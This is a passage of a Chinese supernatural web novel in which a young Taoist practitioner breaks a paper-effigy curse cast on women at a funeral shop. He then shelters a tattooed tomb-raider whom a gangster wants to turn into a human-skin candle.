我拿了起来,反复的看了看,上次那煞气被抽干了,如今的这玉观音锃亮,散发着佛性。跟老狗说的一样,这玩意果然是镇宅的宝物。
“不得不说啊,这玩意凶起来,那是真凶啊。要命的。上次连二嫂都看到这玩意动了,要知道这还不是活物呢。”
最近的这段时间,我的道力虽然没怎么见长,但认知却上来了。在方士的眼里,有煞气的物件被叫做凶物。
凶物被分为小凶物,大凶物,极恶凶物,开智凶物,在往上的被叫做‘器’。
而到了大凶物这种,它的所作所为就是肉眼可见了,像极恶凶物,那都能幻化形态的,比如人形,动物等等。
至于小凶物嘛,王远家的那关公算一个,但它又比较特殊,那玩意马上要变成大凶物的。所以,王远也好,老狗也好,看不到它那六米高的幻身,而它又能劈了桌子。
“冯宁,嗯?血观音?”我这正琢磨呢,屋门却突然被推开了。看到来人,我扑棱一下就站起来了。
来的不是别人,正是安然!
那个从老阴山活下来的玫瑰!
……
第五十七章金友殡葬
见我这个反应,安然捂嘴轻笑道,“冯大师,你不会把我当成老阴山的那东西了吧!”
说完,安然还朝我呲牙,双手提在胸前,在那装鬼。
我无语了,确实有点应激反应,哪怕近期的我实力大增,我觉得都对付不了那东西。
“你有事吗?”我直白地问道。
安然看了我那玉观音一眼,又朝我直翻白眼,“你救了我一命,我说了,我会报答你的,那,这个给你。”
我这才看到,她手里面拎着个箱子,看上去有些重。
等她把箱子放在炕上打开,我愣了一下,里面竟然全都是金条。
“你救我一命,价值一百万的金条,我们两清了吧?”安然笑着说道。
我点了点头,“你是懂因果的。”
闻言,安然笑了笑,“你还真是个财迷,对了,你应该不是倒斗的吧?从哪弄的血观音呢?”
看在价值一百万黄金的份上,我说了来龙去脉,安然绣眉轻拧,“那真是太坏了,拿人命去喂养血观音,这种人,离远点。”
我没在说话,因为我也不知道该跟她说些啥,说白了,我们俩人不熟。
于是这气氛有点尴尬,好在我娘来了,说是饭好了,而她也非常地喜欢安然,饭桌上一顿刨根问底。
安然倒是莫名的好脾气,我娘说啥,她都乖乖地回答。但饭还没吃完,高大山突然拉着高月跑了进来,上来就指责我说,“小冯宁,你对我家高月做了啥?她怎么变成这样了!”
我一头雾水,吃了口饭,瞥了高月一眼,结果这一眼下去就看出了问题。
高月双眼空洞,神志不清,跟个行尸走肉似的。
“老高啊,你啥意思啊?我家老幺这一个月多月都没出过门,能把你家高月咋地?”我娘这句是公道话,我这些日子确实没出门。
“哼,不是你还能是谁?咱们村里,就你家小冯宁神神叨叨的,我不管,要是不把我家高月弄好了,这事没完!”高大山抱着膀子说道。
明眼人都看得出来,他是在那耍赖。我爹我娘想说啥,但被我拦住了。我说道,“高叔,你带人先回去,我吃个饭就去看看。”
高大山瞥了我一眼,又看了一眼安然,这才说道,“这还差不多。”
高大山一走,我爹有些生气了,“老幺,我看这老高就是因为没把高月嫁给你在这个无理取闹,你不用搭理他,一会爹收拾他。”
我娘也附和,“就是,前两天去菜市场买菜,见我连招呼都不打,什么人呢!”
我说道,“爸,娘,高月真的碰到麻烦了。”
听我这么一说,我爹我娘愣了愣,随后我爹认真道,“老幺啊,你高叔是我发小,这人虽然缺德,但高月那孩子不错的。你帮忙看看吧。”
我点了点头道,“爸您放心,我都明白。我出事的那几年,高月对我也不错。”
说实话,对于高月我有一些说不出来的情绪,自从见了一些美女,我觉得高月就没那么漂亮了。但她肯定是个心地善良的姑娘。
在我被嫌弃的那八年,高月给我塞过糖,帮我擦过嘴角的口水,她从来没有像别人那种异样的眼光看我。
这是个好姑娘。
唯一的缺点就是太听话了,她爸说啥她就听啥,但凡她有点自己的想法,我们可能都成了。
当然,这些话有点马后炮了,我吃过饭就去了隔街高家裁缝店,安然也跟了过来。
一进屋,高大娘突然抓住了我的胳膊就要跪下,我急忙扶着她。
高大娘一脸哭丧道,“冯宁啊,这都一个月了,我姑娘不知道咋了,痴痴呆呆的,叫她也没有反应。你当过傻子,这症状你知道,你快帮帮忙吧。”
高大娘农村妇女出身,一天学没上过,但该说不说,你听听这叫人话吗?
一旁的安然都惊呆了,用一种难以理解的眼神看我。我装作若无其事的走到了高月身边,左看看右看看,然后运转道力。
在高月的头上,我看到了三层薄雾,若隐若现的,但都很干净纯白。
我又检查了高月的身体情况,似乎也没什么异样。我低头想了想,气运没有变化,这跟王远当时的情况一样,不是自身的问题。而体内也没有怨气脏东西,说明她不是招了啥。
我猜测,她应该是中招了,人为的。
“高叔,婶子,这种情况多久了?”我问。
“有一个月了,清明烧纸没几天,她就变得有点迟钝。这孩子本来也不乐意说话,我们也没当回事。没想到越来越严重,这两天像是个傻子,对,跟你当初差不多。”高大娘叹气道。
说实话,我是真憋屈,忍不住说道,“婶子,我问啥你说啥就行,不用说没用的。”
高大娘点了点头,但从她的态度上来看,根本没发现我在点她说话难听。我心想,这种人真好,肯定没有烦心事。
倒是一旁的安然,在那憋笑,要不是情况特殊,她都快笑出声了。
“她这段时间都去过哪?烧纸前,有没有去过什么地方?”我又问。
“这个,清明前让她买过金克子,你高太奶托梦,说想要几个丫鬟,又让她买了两个纸人丫鬟,还烧了个大哥大呢……”高大娘说着说着,突然眼睛一亮问我,“冯宁啊,你看事准,我家姑娘是不是招啥了?还是你高太奶他不满意啊?”
我瞥了高大娘一眼,心情有点复杂,我不太明白,她为啥说话总是罗里吧嗦的,总不说重点。绕来绕去,又说到了看事上面?
在看一旁的高大山,竟然能做到不插话?这也是真厉害。
“在哪买的金克子?”金壳子,就是纸做的金元宝,在我们这很常见。
高大娘还想说话,我却看向了高叔,“高叔,在哪买的金克子?”
高叔想了想说道,“隔街的金友殡葬。”
我点了点头,又看了高月一眼,我猜测,这事应该就跟这金友殡葬有关系了。
因为我有一种感觉,对方是刻意在清明左右下的手,就是让人误会看事的那一套东西。至于对方什么目的,那我就不清楚了。
我想了想说道,“高叔,你们看好高月,别让她乱走,我去金友殡葬看看。”
……
第五十八章邪修
“哎我说,你们东北人可真够有意思的。”从裁缝店里出来,安然突然来了一句帝都话,然后这女人捧腹笑了起来。
我有点无语,倒不是觉得丢脸,而是对高大山一家子都很无语。平日里高大山咋咋呼呼的,在我爹面前一副当家做主的人设。
眼下真没想到,在高大娘面前,连个屁都没有。从头到尾都是高大娘做主。然后呢,高大娘这人还总说些没用的,浪费了不少时间。
黑城说大其实也不大,总共就一个区。隔了两条街,也没多远,走了大约七八分钟就找到了金友殡葬。
在殡葬地门口还立了个白牌子,上面写着‘一条龙服务’。
我跟安然走了进去,里面琳琅满目的殡葬用品,有纸人,黄纸,香,烧制用的铁盆,叠金克子用的方纸,几块钱到几个亿的纸钱等等。
东西倒是很齐全。
一进来,倒是没看到老板,在那狭小的过道尽头,听到了有人忙碌。
“我总觉得很不舒服。”安然笑了一路,结果进了屋里面脸上的笑容僵住了,她拉着我的衣服,突然来了这么一句。
“哪不舒服?”我倒是没这种感觉,但也觉得怪怪的,可我看了一圈,也没发现什么不对。我还以为是这种地方阴气重,所以才不适应呢。
但听了安然这么一说,我想听听她的想法。
“我不知道,但就是觉得怪怪的,就好像被人盯着。”安然紧张地拉着我的衣袖,又补充道,“我觉得有些透不过气。”
“谁啊?”安然话音落下,一个约莫三十岁的男子走了出来,这人皮肤黝黑,个子中等,看上去有点脏兮兮的。
“你好,你是老板吗?我想买点大黄纸。”安然突然拉住了我的手,她很紧张。我则是朝着这男人说道。
男人点了点头,他看了一眼安然,随后又看了看我,他随手扒拉了两种大黄纸说道,“这个三毛五一捆,这个质量好点,五毛一捆,你要那种?”
我故作惊讶地说道,“这么贵?去年不才两毛多一捆吗?”
男人瞥了我一眼,“哥们,这还贵啊?现在票子都作废了,啥啥都涨价。两毛我进都进不来。再说了,烧给自家人的,这都嫌贵,那就有点说不过去了。”
我点头道,“那倒是,先给我来两捆五毛的吧,等会回去问问我娘,要是不够,晚点我再来。”
从金友殡葬里出来,我手里多了两捆大黄纸。但眼下,我的注意力都在安然的身上。来的时候她面色挺好的,结果从里面出来,那脸色蜡黄,像是病了似的。
“感觉好点了吗?”我问她。
安然深吸了一口气,“好多了。”随后她又说道,“这家店肯定有问题。”
我点了点头,“我先送你回我家,晚点我再来看看。”
说实话,还多亏安然跟来了,要不然,我还真不觉得这店有啥大问题。
但现在起码我认定了一件事,那就是这家店的问题,跟女人有关联。
把安然送回了我家,我娘看我带了两捆黄纸,也是疑惑地问我干啥,我随便的敷衍了过去。然后下午的时候,我又去了裁缝店一趟。
我问高叔高月出事前,有没有什么症状,高大山仔细想了想,说高月当时很难受,看上去脸色不是很好。
我确定了,这件事跟金友殡葬肯定有关系。
但这件事我还是想简单了,晚上的时候我又去了一趟,结果就是啥也没发现,又带了四捆黄纸回家。再说那老板,人家似乎也没问题。
一来二去,我在这金友殡葬蹲了三天,结果一无所获。倒是安然那天回去后病倒了,在我那屋住了一宿,结果第二天人又好了。
“太奇怪了。”早上,高大山又来找我,这次没了之前的强势,哭丧个脸,问我高月到底能不能好了,这要是不好,咋嫁人呢。
我随口把他敷衍走了,饭桌上,我看着在我家住了几天的安然,也是忍不住吐槽了一句。
“确实很奇怪,难不成,高月真的是碰到东西了?高月她太奶回来了?”安然对我的实力倒是没有质疑,见我没三四天没找到疑点,她也疑惑。
我摇了摇头,“要真是那些东西,我一眼就能看出来。我现在奇怪的有两个点,第一,那金友殡葬我反复去了七八次,不管白天晚上,我都没看出来问题。那老板也没问题。第二,我要是没猜错的话,你跟当初高月的症状一样,但你第二天就没事了,她到现在都没好,怪事。”
修道有一段时间了,我也从一个野路子逐渐地步入正轨,期间遇到了不少违背常理的邪乎事。而三四天没有一点头绪,还是头一回。
安然摸了摸下巴,突然说道,“你说,我们是不是调查的方向出错了?这种事在我们寻找洞天福地的时候倒是很常见。换个思路,也许就解决了。”
“嗯?”我有些顿悟地看向安然。
她又说,“也许有些不起眼的东西,就是破局的关键。”
安然说完这话,我俩对视了一眼,然后默契的异口同声,“观音。”
说完,我俩连饭都不吃了,直奔我那小屋,安然这段时间虽然住在我那屋,但东西啥的都没动过。那观音被我放在了炕上。
我拿了起来,跟安然对视了一眼,“应该就是了,这观音镇宅,百邪不侵,你中招了,它给化解了。”
安然点头,“嗯,应该是这样了。那现在我们是先救人,还是先调查?”
我想了想说道,“先救人吧,金友殡葬我蹲了三四天也没结果,我需要换个思路去对付那边。而且,顺便验证一下我们猜测的对不对。”
晚上,我从高家把高月接了过来,安然陪她睡在了我那屋。第二天早上醒了过来,跟我们猜想的一样,高月没事了。
只是撞到我进屋查看她的情况,高月满脸通红,羞答答的,那样子有点像个小媳妇,看得安然眼睛都直了。
然后安然这女人又开放又坏,当着我的面撩高月,弄得高月潮红,直接喘了起来,看得我都差点道心不稳。
心中暗骂,这死女人,真以为爷们没见过世面?毛熊国大妞我都玩过。
玩归玩闹过闹,正事要紧,很快询问起了一些事。听了高月的回答以后,我突然意识到先救人是最正确的决定。
这件事确实不是出在人那金友老板的身上,而是那些纸人出了问题。
而这次。
是我第一次碰到邪修。
……
第五十九章人间烟火
高月说的情况跟安然经历的差不多,两人都是在进了金友殡葬之后,觉得浑身不自在,心跳加速,等出来以后昏昏沉沉的。
但她的直觉比安然的要准,她说她感觉到了纸人在盯着她,她看到了纸人的脖子在扭动。当时吓了一跳,以为是错觉呢。
等到晚上回到家,她一头栽倒在了床上,然后脑子里一直听到有人呼唤她,让她却金友殡葬,说着说着,高月的脸通红通红的。
“去金友殡葬做啥?”看着高月的反应,我也疑惑了。去那脸红个什么劲?
“它说,去哪陪它睡觉,让我做个完整的女人。”高月说完低着头不敢看我。
我跟安然都有些诧异,但我俩都没觉得不好意思,我又继续询问,“你说的那个他?是谁?”
高月想了想说道,“是个纸人,但也好像是那个老板。我有点记不清了。”
事情已经很明了了,金友殡葬很邪门,纸人要睡女人,这就是个祸害。
把高月送回了家,高大山见高月醒了,那叫一个高兴,还拉着我要喝两杯,但我找了个理由就给推脱了。
说实话,我不是什么爱管闲事的人,但这金友殡葬的事离家太近,又害了我熟人,万一哪天害到我家人呢?所以不能不管。
我准备晚上下手。
安然吃过亏,但这女人好奇心也重,说什么要跟着。我想了想,就让她把血观音带着,事实证明,这局想破要指望着观音。
清明过去都一个多月了,但街道上烧纸的人还是很多。东北这边就这样,观念里中秋和新年烧纸一板一眼,清明节倒是没那么注重。
有点想什么时候烧就什么时候烧的意思,所以都这会了,还是会陆陆续续地有人烧纸。
我们这边有个习俗,烧纸的时候要写地址,还弄出个什么地府银行,然后要找个十字路口,寓意四通八达,最后嘛画个圈,撒点酒,意思就是给圈里面的人烧的,别人别想抢走。
有些老人还会把烧着的纸钱往外扒拉几张,嘴里还念叨着什么别抢,意思就是给那些捞不到花花,别拿我们家的。
前往金友殡葬的路上,烧纸人的很多很多,在这夜色下,那通红的火焰四周围着人,竟有一种说不出的滋味。
“那边的人真能收到吗?”安然突然问了我一句。
“我不知道。”我摇了摇头,对于这些事我倒是很理性,在我眼里面人死了就是死了,要是还能留下的,那准是个祸害,就像我三婶他娘。
哪怕我见过阴间码头,我却依然不相信‘鬼’的存在。
但是有一点我可以确认,这些烧纸的人,烧的是一种思念,对过往人的念想。
“哦。”安然突然很失落的看着远处的火焰,那火焰在她眼中跳动,似乎有些伤感。
我深吸一口气说道,“人活着的时候对待好一些要比死了烧纸强。我觉得死了就死了,死了就没了,不存在了。但这个世界是有炁的,炁也为气,气不消,就成了怨气。也就是祸害了。”
我又想到了三婶她爹,想到了它报复的那个场景,那团怨气,到现在我都觉得震撼。到底是什么样的恨意,能让它化作怨气缠着结发夫妻几十年,然后宁可灰飞烟灭也要报复。
安然没说话,我也有些沉默,哪怕我现在都是修道的了,但这个话题似乎也很沉重。我又看了一眼那四通八达的街道,那些人拿着小棍扒拉着火焰,随着火焰越来越旺,嘴里面碎碎叨叨的。
我竟然看到了烟火之中,那人间的烟火味,仿佛,他们周边真的有亲人在聆听。
在街道待了几分钟,我跟安然就去了金友殡葬,这个点了,里面还点着灯,有人进进出出,我俩也就跟了进去。
老板正跟客人卖货,我跟安然趁机四处看,而安然因为有了血观音在,这次倒是没有症状。
我一抬头,在棚顶的货架子上,整整齐齐地坐着一个纸人。
在那一瞬间,我突然觉得浑身都不自在,没错,他们四个都在看向安然。
对,就是在看安然。
这纸人蓝衣服,蓝裤子,眼睛是一条黑杠,没有鼻子,但却有着鲜红的嘴唇。
很难想象,我竟然在一个纸人的脸上看到了色欲,它歪着脑袋,跟人一样在打量。
可能是感受到了我的目光,那纸人突然动了一下,一双眼睛朝我看了过来。
这次它没有表情了,而是很怪异地扭着脖子,斜着眼睛盯着我。
我脑海中突然出现了一个词——邪修。
紧接着方士的记忆像是解锁了一样,事情突然就变得明了了。
我是遇到了邪修的邪术了,这是‘采阴补阳’的一种邪术,传承少说五百年以上。
对方利用阴气重的地方,布了个采阴阵法,男人因为阳气重,不会中招。但女人本身就是阴体质,入了阵法就会被像是病了一样,然后被邪修控制,最后被邪修当成炉鼎采阴。
而越是没有经历过事的女人,效果就越好。所以它盯上了高月。
而后,我突然有了一个疑惑,安然也中招了?那就是说安然的身子也干净?
“我脸上有东西吗?”见我看她,安然奇怪道。
“没啥,我知道怎么办了。你把血观音给我就行。”我摇了摇头,又看了一眼那纸人,说来对方也倒霉,破这种阵法最简单的办法就是佛性的东西。
刚好这血观音是最有佛性的,我拿了出来,在观音上写了个‘靈’字,朝着那纸人一抬手。
那纸人想要逃,但为时已晚,它脑袋一歪,突然就瘪了。
随后,我看到了一丝暗红的血气,顺着门缝要溜走。
这是控制纸人的精血,我哪能让它跑了,一股道力就抓了过去,等拿在手中,直接灰飞烟灭。
“啊……”
接着下一秒钟,店老板突然就倒在了地上,几个顾客急忙扶住了他。
“那种感觉消失了,你刚才做了什么?结束了吗?”安然惊奇地盯着我。
“跟我想的一样,这家店的老板没问题,纸人有问题。我把它废了,这件事应该结束了。”我点了点头,只是简单的叙述了一下,又把血观音递给了安然。
虽然我说这件事是结束了,但实际上也不算结束了,因为那个邪修还在。但我烧了他的精血,他起码很长一段时间恢复不过来。
至于找他,人家在暗处,肯定不好找。这也算是个教训吧。
这件事算是告一段落了,倒是安然就是来给我送黄金的,她又在我家待了几天然后就走了。
而后,红姐又来了,我才知道她叫陈红,她惹了大麻烦倒在了我家门口。
来的时候人已经要不行了,我出手救了她,结果在她背上我看到了一幅画,一幅跟我从王远家里拿来挂在墙上一模一样的画。
而想要她命的那个人名叫张坤,外号八面佛,那是当时整个黑城的土皇帝,没人敢惹。
她想把陈红做成人皮蜡烛。
……
第六十章聪明到极致的女人
事情是这样的,安然走后,我又恢复了以往那种生活,每天看看书,练习道法。
除此之外,我还对从王远家拿来的两幅字画感兴趣。两幅画,一幅是山水画,另一幅是美女画,没有落款,但画工深厚。
而我之所以会痴迷,画工其实是次要的,我又不是什么民间大师,看不出个所以然。而是这两幅画中,我都看到了八卦风水。
在我的眼里它们根本不是两幅画,更像是两张风水八卦图,活灵活现的,非常的立体。
这真的是一件很奇怪的事,反正很吸引我。
这会已经五月中旬了,天气也见暖了。但东北这地界,特别是黑城这边,就算见暖了,也仅仅是温度上暖了些,但依旧是寒风刺骨。
那天一大早,我娘突然惊叫,我急忙跑了出去,看到她扶着一个满身是血的女人进来。
我一看,这不是那个红姐吗?
“娘,咋回事?”我搭了把手,把人先扶进了屋里面。
“俺出门就看到了这姑娘浑身是血地倒在门口,我一看,这姑娘那天来过咱家,看过你二哥。”我娘说。
我皱了皱眉头,这女人害过我二哥,做的又是倒斗的生意,所以我对她喜欢不起来。这也是上次她求我事我没答应的原因。
我不想跟这些人接触,但没想到还是有了接触。
“送医院吧。”我娘说。
家里没人,我爹跟我大哥大嫂他们都去铺子了,所以我娘只能问我。
我摇了摇头,红姐的情况已经危机了,现在送去医院根本不赶趟。虽然我不想跟她有什么瓜葛,但人不能死我们家里,眼下也不能把她扔出去,我对我娘说道,“娘,你先去大哥帮忙吧,我能救她。”
我娘有些担心道,“那,行吧。”
我之所以让我娘走,是不想我娘沾染这因果,这事没那么简单。
我把红姐抱到了我那屋炕上,她身上都是刀伤,我第一步先要止血。
修道这么久了,这点能力还是有的。我运转道力,道力流淌到那伤口上,这件事很容易的就办成了。
接着我拿出了玉佩,把道力注入其中,加持‘靈’字,一股淡绿色的气息流转在了红姐的身上,很快,那些伤口就结了疤。
原本红姐毫无血色的脸上,渐渐地恢复了红润,呼吸也跟着均匀了。
“嗯?”本来我打算清理一下血迹,然后给她盖上被子,结果一翻身,发现她背后被刀砍过,她背后的纹身露了出来。
我怔住了,这纹身居然跟我那美女画一模一样。
这会不会太巧合了?
我扯开了那被砍开的衣服,纹身越来越清楚,我拿过墙上的画作对比。
主体是一个古典的女子坐在化妆台那梳头,她看上去端庄,落落大方,画得惟妙惟肖。而在这女子的一侧是窗户,能看到小河,柳树,自由飞翔的两只燕子。
果然是一模一样!
“冯,冯大师。”红姐醒了,她趴在那,露着后背,那酥胸狠狠地压在我家炕上,都快撑爆了。而因为衣服被刀砍过,我看得很清楚。
“嗯。”该说不说,这女人虽然骚,但骚得真有东西。但我好歹也是修道的,定力还是有的。我咽了口吐沫,尽量保持那老气横秋的样。
果然,红姐也没看出啥,而是趴在那问我,“大师,我,我能坐起来吗?还是您喜欢我保持这个姿势。”
我倒是没想到红姐会这样说,我又看了看她背后纹的画,随手把手里的画又挂在了墙上,把被子扔给了她说道,“你坐起来说吧。”
红姐点了点头,起身把被子裹在了身上,蜷缩在角落里。
我给她倒了杯水,她说了句谢谢,然后我盯着她说道,“你很有心机。”
红姐拿喝水来掩饰自己。
我又说,“说吧,为啥故意跑到我家门口?”
我眯眼看她,我心里很清楚,她出现在我家,肯定不是偶然,而是她故意的。
这是个极其聪明的女人,两个字形容,那就是‘狐狸’。而我不喜欢跟这种人打交道,因为太聪明了,谁都可能会被算计进去。
所以那天我才会教训老狗,把这种人弄我们家来?能有好事?
见瞒不住了,红姐扑通又跪在了炕上,然后给我磕头,“大师,求您救救我,我真的是走投无路了。”
她丰润的身材跪在那,酥胸微微颤抖,那完美的身材近在我眼中。这女人,太有料了。
特别是那骨子里的骚,但凡是个男人都架不住。
然而,此刻的我有些火大,完全没有心思想那些东西,我冷漠道,“我上次已经说了,我不想跟你有瓜葛。你这种人心机太重,城府太深,又做的是损阴德的买卖,要不是因为我二哥,我不会跟你沾染任何因果的。救你一命,已经可以了。”
我拒绝了。
对于因果这东西,其实我不怕的。因为修道之人,本身就是逆天而行,因果算个毛?
但我得考虑我家里人。
“大师,我知道您看不上我,怕我给您家里人带来麻烦。但我保证,只要您救我,对您有天大的好处,天大的机缘。您不是一直想要文献资料吗?不管是道家的,佛家的,千年前的,五百年前的,我都能弄得到,而且我跟您保证,我弄的文献资料,绝对是真品!”她似乎早有准备,跪在那说道。
我愣了愣,我承认我心动了。我在看向她,突然意识到了一个问题,这女人是一把双刃剑。我只顾着规避因果,却把她的行当给忘了。
她说的这些还真的做得到。
我沉默片刻,知道自己被拿捏了,眯了眯眼睛说道,“看来你在老狗那套了不少消息,对我很了解。”
真是个聪明的女人,聪明到连我都不得不感叹她的厉害之处。
她拿命破局,只是为了在我面前,说出这些话。
之前的厌恶一扫而光。
我欣赏她了。
“大师,我真的是没办法了。求您给我一条生路,感激不尽,当牛做马。只要您愿意,我身子都给您享受!我只想活着!”红姐卑躬屈膝地跪在那,姿态放得非常低,我能感觉到,但凡我说要她,她现在会毫不犹豫地脱了。
而这也是我第一次意识到,我的能量居然如此恐怖,能让一个女人脸都不要了。
让我有一种当了王的感受!
……
第六十一章来龙去脉
在我看来,老狗的人脉消息已经够广了,而这陈红的能量比老狗还大。
最重要的是她提出的条件我动心了,我盯着她,我说道,“你起来吧。你的事,是不是跟你背后的纹身有关系?”
听到纹身,陈红浑身颤抖,她微微抬起头,那丰满的身姿一览无遗。
陈红点了点头,“大师,您怎么知道的?”
我看了眼墙上的美女图说道,“因为我这也有一幅。”
陈红抬头看去,俏脸突然就白了,她蜷缩在角落,面目惊恐。但很快,她又恢复了正常,把她经历的事原原本本地说了出来。
陈红是东北吉省人,原本是个唱二人转的女演员。但在十六岁那年,因为认识了一个社会大哥,跟着对方做了倒斗的生意。
一来二去,因为她能力出众,在业界内就混开了,也就有了自己的生意。谁知道有一天大哥找她倒斗,结果等下去了才知道,这是那大哥给她做的局。
在下墓之后,大哥把他带到了墓中,在一口漆黑的棺材上,让人在她背后活生生纹了个身。
之后那大哥就放了她,但在近期,那大哥一直在找她,要扒了她的皮做蜡烛点冥灯。
听到这里,我也是皱了皱眉头,这事陆老爷子的笔记里有记载,人皮蜡烛点冥灯,这是阴功,有人要长生。
而那个被做成蜡烛的人,永受冥火煎熬之苦,生不如死,死不如灰飞烟灭。
这是最毒的一种法子。
还有一个说法,那就是做这种事的人狂妄自大,认为自己是皇帝,掌控他人生死为乐,残忍暴君。
而他口中的大哥我也听说过,张坤,人送外号八面佛,手底下几百个亡命徒,传言他杀过人,没人敢惹的一个狠角色。
我皱着眉头看向陈红,正如我想的那样,这个女人是个很麻烦的角色,但我没想到居然这样麻烦。
陈红有点不敢看我,咬了咬嘴唇说道,“大师,我是真的没法子了,所以才出此下策。我知道那人皮蜡烛,一旦被做成了,那就是下油锅,生生世世都要煎熬,我不想死。”
我心里很清楚,当我没反对这件事,因果已经有了。什么是因果,这个没法去解释,可以说是起因和结果,也可以是结果然后推起因。
非要有一个恰当的说法,那就是‘蝴蝶效应’,一个蝴蝶引发的一场龙卷风。
过往的一件事,促成了现在的结果,现在的选择,未来会有一个结果。而结果可以是好,可以是坏,因果嘛,坏的结果偏多。
所以道家常说不要沾染因果,因为你永远也猜不到结果。因果越多,结果也就越多。
事情已经发生了,我倒是坦然地接受,谁让我对这女人说的事有了私心,那就要承受这因。我看着她说道,“这画有啥说法嘛?”
我要弄清楚人皮蜡烛跟王远拿的这画有啥联系。
陈红说,“大师,这幅画似乎就是当初下墓时,纹身师拿的那一幅。”
我一愣,随后又指着另一幅问道,“这一幅呢,你有印象吗?”
我之所以这样问,是因为这两幅画里都蕴含道法八卦,我在想是不是同出一地。
陈红摇了摇头,“大师,这一幅我没有印象。”
我深吸一口气,闭眼沉思,很快一个思路在脑海中形成。人皮蜡烛需要照着这幅画纹身,然后采阴,等到了一定程度,再把这张皮拿下来做成蜡烛被人所用。
这样想的话,一些疑惑就解开了。
应该就像是陈红说的那样,这幅画就是纹身师用来纹在她身上的那一幅。至于另一幅,或许有关系,也或许没有关系。
如今唯一的疑问就是,有了这人皮蜡烛真的能长生吗?
我想了想又问道,“你这身的伤,应该不是自己弄的吧?”
陈红怔了怔,随后用力的摇了摇头,“大师您误会了。来您这确实是我故意的,就是想跟您做成这笔交易。这一身伤是张坤派人抓我弄的。”
陈红应该是因为被我看透了,所以有些不好意思的说道。
但随后,陈红却惊讶地坐了起来,当着我的面把衣服扒开看来看去,她惊呼,“伤呢?怎么结疤了?大师……”
我有些无语了,这女人怎么说扒就扒衣服,我说道,“嗯,是我出手救治了。衣柜里有我的衣服,你找一件先换上吧。然后,你带我去找张坤。”
听到要去找张坤,陈红脸色一下子就白了,看得出来,她是真怕这男人。
我却平静道,“这件事应该有一个了结。”
我这话是对她说的,也是对我自己说的,既然我想从陈红这得到好处,那就是做出了选择。我不能等着事找上我,那样会牵连到我的家人。
陈红像是下定了决心,目光坚定地点了点头。
中午,陈红在我家吃的饭,对于这个又多出来的女人,我爹的反应不大。我大哥大嫂也在,也是打量她。
见她穿了我的衣服,我爹那眼神是变了又变。等吃完饭把我拉到一旁说道,“老幺啊,这姑娘应该不小了吧?都说女大三抱金砖,你这。我觉得前两个挺好,年龄啥的跟你差不多,这个虽然也好看,但跟你不太配。”
听了我爹的话,我差点没把饭喷出来,我要是没想错的话,他口中的前两个应该是黎雅和安然,我这才明白家里人为啥看我是那眼神,感情以为我把陈红睡了。
我忍不住看了我娘一眼,我心想,娘啊,早上这女人浑身是血你忘了?这咋就研究起了我俩的婚事呢?
我哭笑不得地跟我爹解释,“爸,不是你想的那样,这是社会人,身上还有纹身呢。她被人砍了,我救了她,所以换得我衣服。”
我也不知道我爹听没听我说话,就看他眼睛一横,来了一句,“有纹身的可不行。不是好姑娘。”
说完就把手背在身后哼歌小曲走了。
看着我爹离去的背影,我的感受挺大的,在我眼里面,我爹以前就是个老顽固,脾气倔,要面子,一根筋,还是个大男子主义,他说啥是啥。
但人的变化就在一瞬间,那天晚上我爹跟我聊完,他像是变了个人,虽然还总会板着个脸,但似乎接受了自己老了的事实。
能听进去我们说话了,还总是哼着小曲溜达,就好像是……被夺舍了似的。
这边吃完饭,我跟陈红去了豪情洗浴中心见了张坤。
虽然我们第一次见面,但这个人给我的感官强烈,我内心地反复提醒自己,这个人很危险。
他是同道中人!
……
第六十二章凶狠的八面佛
豪情洗浴中心,总共五层,位置在黑城最繁华的城中心。这会还没有寸土寸金的说法,但因为这家洗浴中心是八面佛开的,所以总是有一层神秘的面纱在里面。
在东北这地界,有些事越传越邪乎,加上一些混混喜欢自吹,来过这洗浴中心几次,把自己吹成了八面佛的小弟。
久而久之,张坤八面佛流传出了各种故事,什么杀人沉江,一人拿着两把刀从南街砍到北街,彰显他的厉害。还有就是洗浴中心的五楼,说是人间乐园,从来没人进去过。
之前我也有听过这些事,觉得这地方挺玄乎的,等跟着陈红来到五楼,那层神秘的面纱也就没了,说白了,就是个装修奢华点的办公室。
这么一看,吹嘘的成分太大了,我形容的话就两个字——夸张。
但张坤这个人,看他的第一眼,倒是觉得有些事恐怕是真的了,这个人,可不只是杀人那么简单。
张坤个子不高,甚至可以说有点矮,一米六左右。但他有着一张识别度极高的脸,脸上坑洼不平,横肉丛生,让人望而生畏。
他身穿西装坐在沙发上,身边搂着四个花枝招展露肩的女人,嘴里叼着雪茄,女人喂着红酒,纸醉金迷的。
看到我们进来,张坤吸了口雪茄,他抬眼,带着死亡味道的眼神看着陈红,“陈红,你以为你混成了所谓的红姐,就能跟我抗衡了?要不是你背后那皮还没熟,我早特么就下手了。”
说完,张坤用力的捏了一把身旁的女人,那女人面色潮红,却不敢发出声音。
陈红在见到张坤之后整个人就有些不对劲,那种惧怕从眼神到骨子里,她的脸惨白,强忍着呕吐,“张坤,你到底怎么才能放过我。”
张坤冷笑,“放过你?陈红,我可是花了十年,好不容易才养成了一张制造道器的皮子,你现在跟我说过放你?你是想让我再等十年?等其他皮子成熟?”
张坤的手突然用力,一旁那女人差点没疼的晕厥过去,一张手印印在她的胸前。
他起身走到了陈红面前目空一切的狂笑,“陈红,你应该觉得庆幸,整整三百年了,没人见过道器,你能成为其中一部分,是不是应该庆幸。”
陈红被的吓得双腿发软,求救的看向了我。然而张坤却根本没把我放在眼里,连看都没有看我一眼。那种狂妄,吓得沙发上几个女人都不敢直视。
“人皮蜡烛点冥灯,膝下无子寻长生,阴间码头皆过客,逆流轮回似酒终。”我突然想起了老爷子笔记上的完整记载,当时只是清晰的记住了前两句,而老爷子也是特意指明了前两句。
他的理解为,这是一件阴损的事,这种人狂妄无知,想借着冥灯去探寻长生之路。甚至因为这个理解规避了后面两句,以及膝下无子。
但听了张坤的话我突然恍然大悟了,这根本就不是那么回事,这是要把人练成‘道器’,他是要逆天而行要有自己的孩子。
这个人没有香火!
因为码头皆过客,只有拿着人皮灯笼逆流而上,才有一线生机。哪怕死,大不了还能轮回呢,也要抓住这一丝机会。
张坤的脚步突然停住了,那张坑完不平的脸来到了我面前,凶狠的一双眼睛死死盯着我,“你还知道些什么?”
张坤那凶狠的气势带着煞气,换做其他人,恐怕站都站不稳。
但我却面不改色地看向他,“你无子,这样做,无非是求子。”
张坤用力地抽了口雪茄,把烟雾吐在我面前,那张脸变得越发狰狞,“普天之下,能看到这一步的人,没几个了。起码在这东北,没几个人能看到这一步。俗人,只看到长生,然而这世间哪有长生,香火,便是长生。道友谁的门下?”
